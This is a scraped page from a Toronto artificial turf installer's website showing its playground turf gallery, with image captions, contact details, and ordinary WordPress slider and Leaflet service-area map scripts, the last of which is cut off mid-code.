var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]}; //# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"]; //# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"9b69e64184","preview":false,"postId":8009,"scriptExtension":false}; //# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {}; window.SR7 ??= {}; _tpt.R ??= {}; _tpt.R.fonts ??= {}; _tpt.R.fonts.customFonts??= {}; SR7.devMode = false; SR7.F ??= {}; SR7.G ??= {}; SR7.LIB ??= {}; SR7.E ??= {}; SR7.E.gAddons ??= {}; SR7.E.php ??= {}; SR7.E.nonce = '88f8757fa6'; SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php'; SR7.E.resturl = 'https://www.designturf.ca/wp-json/'; SR7.E.slug_path = 'revslider/revslider.php'; SR7.E.slug = 'revslider'; SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/'; SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/'; SR7.E.revision = '6.7.58'; SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family='; SR7.G.breakPoints = [1240,1024,778,480]; SR7.G.fSUVW = false; SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration']; SR7.E.libs = ['WEBGL']; SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia']; SR7.E.resources = {}; SR7.E.ytnc = false; SR7.JSON ??= {}; /*! Slider Revolution 7.0 - Page Processor */ !function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact

  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
      • Backyard Golf Greens And Beyond
      • Artificial Golf Greens & Turf
      • Golf Greens The Process
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
      • Beautiful Gardens & Professional Plantings
      • Patios & Stonework
      • Modern Fencing & Privacy Screens
      • Decking & Outdoor Living Spaces
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
      • Muskoka-Royal-70 Spec
      • Ontario-Lush-80
      • Ontario-Lush-60
      • Algonquin-ECO-60 spec
      • Ontario-Lush-40-Spec
      • Algonquin-ECO-40 Spec
    • Pet Turf Specifications Overview
      • K9-60 Specification
      • K9-45 Specification
    • Playground Turf Specifications Overview
      • Optimum-Play-60-Spec
      • Optimum-Play-45 spec
    • Putting Greens Specifications Overview
      • PG-Augusta-spec
      • The-Players-spec
    • Sports Turf Specifications Overview
      • XL PRO
      • Sport 52
      • Sport 45
  • Full Pricing Page
    • Premium Turf Pricing
      • DT MR70-new
      • DT-ONT-LUSH-80
    • Natural Turf Pricing
      • DT-ALGONQUIN-ECO-60
      • DT-ONT-LUSH-60
      • DT-ALGONQUIN-ECO-40
      • DT-ONT-LUSH-40
    • Turf for Kids
      • DT-OPTIMUM-PLAY-60
      • DT-OPTIMUM-PLAY-45
    • Doggie Turf
      • DT-K9-Champion-60
      • DT-K9-Champion-45
    • Putting Greens
      • DT PG Augusta
      • DT The Players
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
      • Artificial Grass Comparison Guide
      • Artificial Grass Cost Guide
      • Landscape Grass Design Ideas
      • Small Yard Artificial Grass
      • Artificial Grass Buying Guide
      • Installation FAQ
    • Playground Turf Overview
      • Playground Turf Installation
      • Playground Turf FAQ New
      • Playground Turf Cost Guide
      • Playground Turf Comparison
      • Playground Turf Maintenance
      • Fall Height & Impact Testing New
      • Playground Turf Safety Standards
    • Putting Greens Overview
      • Putting Green FAQ
      • Putting Green Cost New
      • Putting Green Guide
      • Putting Green Maintenance
      • Putting Green Base Construction New
    • Pet Turf Overview
      • Pet Turf FAQ
      • Pet Turf Cost
      • Pet turf Guide
      • Preventing Odours in Pet Turf
      • Pet Turf Comparison
      • Pet Turf Maintenance Guide
      • Pet Turf Installation
      • Pet Turf Drainage Explained
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
    • Pet Turf Specifications Overview
    • Playground Turf Specifications Overview
    • Putting Greens Specifications Overview
    • Sports Turf Specifications Overview
  • Full Pricing Page
    • Premium Turf Pricing
    • Natural Turf Pricing
    • Turf for Kids
    • Doggie Turf
    • Putting Greens
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
    • Playground Turf Overview
    • Putting Greens Overview
    • Pet Turf Overview
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
✕
Home › Playground Images Gallery

Playground Turf Gallery

Our Playground Turf systems are engineered for kids of all sizes — providing a clean, safe, mud-free surface that drains quickly and withstands heavy use. Explore real K9 installations across Toronto and the GTA.

Big Pink Bunny at Stack Market Downtown Toronto covered with Design Turf artificial grass
very shaded backyard perfect artificial grass for under trampolines
Very modern house and landscape with custom playhouse on artificial grass
A Toronto day care offers a nice run of clean safe artificial grass for child playing and running
Umbrellas provide shade from sun rays and rainfall all on artificial grass
Small home daycare where shade makes it hard to grow natural grass
Old style swing set on artificial turf
It&#039;s all about the kids trampoline and playhouse on artificial grass
two yellow slides for brother sister racing on artificial turf
young childs play area with kiddie trampoline, and soccer net
Before and after picture of a small downtown Toronto backyard. See the difference
A Scarborough backyard tree house on artificial grass
Two separate sections fenced off for age groups safe play all on artificial grass
A downtown daycare covers cement floor to soften the surface with artificial turf
An Early Bloom daycare nicely appoints artificial grass to present a soft play covering
An Ajax daycare offers shade fabric and cover over sand box with artificial grass provides no-maintenance
A King City daycare offers fun sandboxes and play structures covered with Optimum Play safe grass
“Playground with safe cushioned artificial turf surface for kids in Toronto.”
Climbing wall, slide, swings, and flowers on artificial grass
A swing made for 3 kids. Pathway is cut into artificial grass
Nicely appointed child&#039;s play house and shed on Optimum Play artificial grass
A fun play structure covered with artificial grass over poured rubber crumb surface
perfect fitted play station for lucky kids swings, super slide
A play area at an Etobicoke hospital swings on synthetic turf
A small daycare in Pickering installed Optimum Play turf for soft clean surface
fun drone shot of a small backyard downtown Toronto with play-set, and trampoline on artificial grass
Perfect circle designed for multiple slides offering kid protection on soft grass
Climbing ropes, arched ladder is safe for kids on Design Turf artificial safe grass
twirling slide, ladders, on synthetic turf in Vaughan On
Drone shot of Design Turf artificial grass for daycare centre in Brampton
Umbrella provides shade and picnic tables over Optimum Play artificial grass
Trampoline on grass in Mississauga backyard
Large trampoline made safe on artificial grass Optimum Play
a mother and daughter backyard fun on swing
A Toronto daycare offers a safe clean artificial grass for young toddlers
fun-daycare slides on artificial grass
New playhouse with slide climbing wall and artificial turf
Commercial play area for kids at large Toronto Mall
new swings and daycare on artificial grass
brother &amp; sister having a good time on slides onto artificial grass surface
An Etobicoke daycare with sloped treed areas and slides with artificial grass
swings, slide and ladder play-set on artificial turf
Umbrellas provide shade from sun rays and rainfall all on artificial grass
Award winning artificial grass installation for Hurontario Mall Mississauga
Very nice small backyard play-set with slides, ladder, flowers and artificial grass
Backyard in Markham with small play-set

Thinking About Installing Playground Turf?

We design and install premium pet-friendly turf systems across Toronto and the GTA. Get in touch to discuss your project.

Get a Quote →

Explore More Artificial Grass Solutions

  • Landscape Turf Installation
  • Pet‑Friendly K9 Turf
  • Playground & Daycare Turf
  • Backyard Putting Greens

Ready to Transform Your Space?

You’ve seen what’s possible. Get a fast, no‑obligation quote for professional artificial turf installation in the GTA.

Request a Free Quote

DESIGN TURF

Toronto's top-tier artificial turf specialists. Expert residential, commercial, and custom installations serving the entire Greater Toronto Area.

Call Us
(416) 546-6490
Email
info@designturf.ca
Location
10 Gormley Industrial Ave, Unit 2-3 Gormley, ON L0H 1G0 Serving the GTA
Hours
Mon – Sat: 8 AM – 6 PM
Our Services
  • Residential Home landscape grass
  • Residential backyard playgrounds
  • Residential Backyard Putting Greens
  • Daycare Centres Artificial Safe Surfaces
  • Dog Kennels
  • Commercial Artificial landscape grass & Construction
  • Schools, & daycare operators
  • Sports Fields & Schools
© 2026 Artificial Grass Toronto | Design Turf. All Rights Reserved. Muffin group
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact
Call 416-546-6490
(function(){ 'use strict'; /* ═══════════════════════════════════════════ CONFIGURATION — UPDATE THESE VALUES ═══════════════════════════════════════════ */ // Design Turf HQ coordinates (update to exact address) var HQ_LAT = 43.6532; var HQ_LNG = -79.3832; // Service area pins (red markers) — add/remove as needed var SERVICE_AREAS = [ { name: 'Mississauga', lat: 43.5890, lng: -79.6441 }, { name: 'Brampton', lat: 43.7315, lng: -79.7624 }, { name: 'Vaughan', lat: 43.8361, lng: -79.4983 }, { name: 'Markham', lat: 43.8561, lng: -79.3370 }, { name: 'Oakville', lat: 43.4675, lng: -79.6877 }, { name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 }, { name: 'Pickering', lat: 43.8354, lng: -79.0868 }, { name: 'Ajax', lat: 43.8509, lng: -79.0204 }, { name: 'Newmarket', lat: 44.0592, lng: -79.4613 }, { name: 'Milton', lat: 43.5183, lng: -79.8774 }, { name: 'Burlington', lat: 43.3255, lng: -79.7990 }, { name: 'Stouffville', lat: 43.9701, lng: -79.2453 }, { name: 'Oshawa', lat: 43.8971, lng: -78.8658 }, { name: 'Uxbridge', lat: 44.11396, lng: -79.11049 } ]; // WP REST API — Services category ID // ► OPTION A: By category (requires categories enabled on pages) var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID // ► OPTION B: By parent page ID (uncomment below, comment out Option A) // var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID /* ═══════════════════════════════════════════ PIN FACTORY — Inline SVG markers ═══════════════════════════════════════════ */ function makePin(fillColor, label) { var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' + '<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' + '<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' + '<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' + 'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' + '<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' + '</svg>'; return L.divIcon({ className: '', html: svg, iconSize: [32, 46], iconAnchor: [16, 46], popupAnchor:[0, -42] }); } var greenPin = makePin('#00A651', 'HQ'); var redPin = makePin('#E53935', 'Area'); /* ═══════════════════════════════════════════ MAP INITIALIZATION ═══════════════════════════════════════════ */ var map = L.map('dt-leaflet-map', { center: [HQ_LAT, HQ_LNG], zoom: 10, scrollWheelZoom: false, zoomControl: true, attributionControl: true }); // CartoDB Voyager tiles — clean, premium aesthetic L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', { attribution: '&copy; <a href="https://openstreetmap.org">OpenStreetMap</a> &copy; <a href="https://carto.com/">CARTO</a>', subdomains: 'abcd', maxZoom: 19 }).addTo(map); // ── HQ Marker (GREEN) ── L.marker([HQ_LAT, HQ_LNG], { icon: greenPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' + '<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' + '<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' + '<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' + '</div>' ); // ── Service Area Markers (RED) ── var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]); SERVICE_AREAS.forEach(function(area) { L.marker([area.lat, area.lng], { icon: redPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' + '<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' + '<div style="font-size:12px;color:#666;">We service this area</div>' + '</div>' ); bounds.extend([area.lat, area.lng]); }); map.fitBounds(bounds, { padding: [40, 40] }); /* ═══════════════════════════════════════════ SERVICE AREA SHADING — Convex Hull + Buffer Renders behind markers automatically ═══════════════════════════════════════════ */ // Collect all points (HQ + service areas) var allPoints = [[HQ_LAT, HQ_LNG]]; SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); }); // ── Convex Hull (Gift Wrapping / Jarvis March) ── function cross(O, A, B) { return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]); } function convexHull(points) { var pts = points.slice().sort(function(a, b) { return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0]; }); if (pts.length <= 1) return pts; var lower = []; for (var i = 0; i < pts.length; i++) { while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0) lower.pop(); lower.push(pts[i]); } var upper = []; for (var j = pts.length - 1; j >= 0; j--) { while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], 